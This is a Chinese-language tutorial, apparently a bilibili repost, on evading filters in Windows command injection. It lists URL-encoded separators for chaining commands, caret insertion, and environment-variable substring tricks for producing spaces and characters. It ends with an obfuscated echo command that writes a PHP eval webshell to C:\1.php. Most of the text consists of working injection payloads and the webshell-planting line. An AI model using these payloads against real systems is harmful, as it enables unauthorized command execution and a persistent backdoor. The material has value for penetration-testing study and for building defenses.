假设执行这两个明明,中间的分隔符fuzz测试:
whoami%7cdir
%7c ---------- | ---------- 只会执行 后一个命令
%26 ---------- & ---------- 两个命令同时执行
%00 ---------- NULL-------- 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)
%0a ---------- 换行符------- 执行前一个命令
那么这里又引出了思考,是不是只有&&才可以在windows的DOS命令下连续执行多条命令
whoami&&dir&ipconfig
whoami|dir||ipconfig
这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。
可以用dir /a/b | more这个命令感受一些管道符的魅力
空格替代
这里第一个想到的就是字符截取
set envar=whoami
%envar:~0% # 取出所有字符
%envar:~0,6% # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行
使用set可以看到有哪些全局变量是我们可以利用的
现在开始着手从环境变量里取出空格
PSModulePath=C:\Program Files\WindowsPowerShell\Modules
net%PSModulePath:~10,1%user
d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%
利用环境变量在C盘下写一句话,这里需要system权限
echo "123.php
echo "123.php
echo%CommonProgramFiles:~10,1%%TJ:~10,1%<%TJ:~-4,1%%TJ:~14,1%%TJ:~15,1%%TJ:~14,1%%CommonProgramFiles:~10,1%%TJ:~8,1%%TJ:~5,1%%TJ:~16,1%%TJ:~0,1%%TJ:~17,1%(%TJ:~7,1%_%TJ:~14,1%%TJ:~-1,1%%TJ:~22,2%[%TJ:~0,1%])%TJ:~11,1%%TJ:~10,1%>%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%
%CommonProgramFiles:~10,1% 空格
%SystemRoot:~0,3% C:\
%TJ:~10,1% "
%TJ:~14,1% p
%TJ:~-4,1% ?
%TJ:~15,1% h
%TJ:~8,1% @
%TJ:~5,1% e
%TJ:~16,1% v
%TJ:~0,1% a
%TJ:~17,1% l
%TJ:~9,1% \
%TJ:~7,1% $
%TJ:~-1,1% o
%TJ:~22,2% st
%TJ:~11,1% ;
a bcde/$@\";fgphvlrequst? 写入成功但是多了双引号,但是echo的时候不加双引号会爆语法错误 我这里给出下面解决思路: 第一种就是在第一个双引号后添加?>使前者闭合,后面的”之前添加一个# 注释掉 我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行 其他无回显和过滤特定函数思路和LInux系统一致 三、总结
bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴点个赞吧! 作者:掌控安全学院 https://www.bilibili.com/read/cv12766059/ 出处:bilibili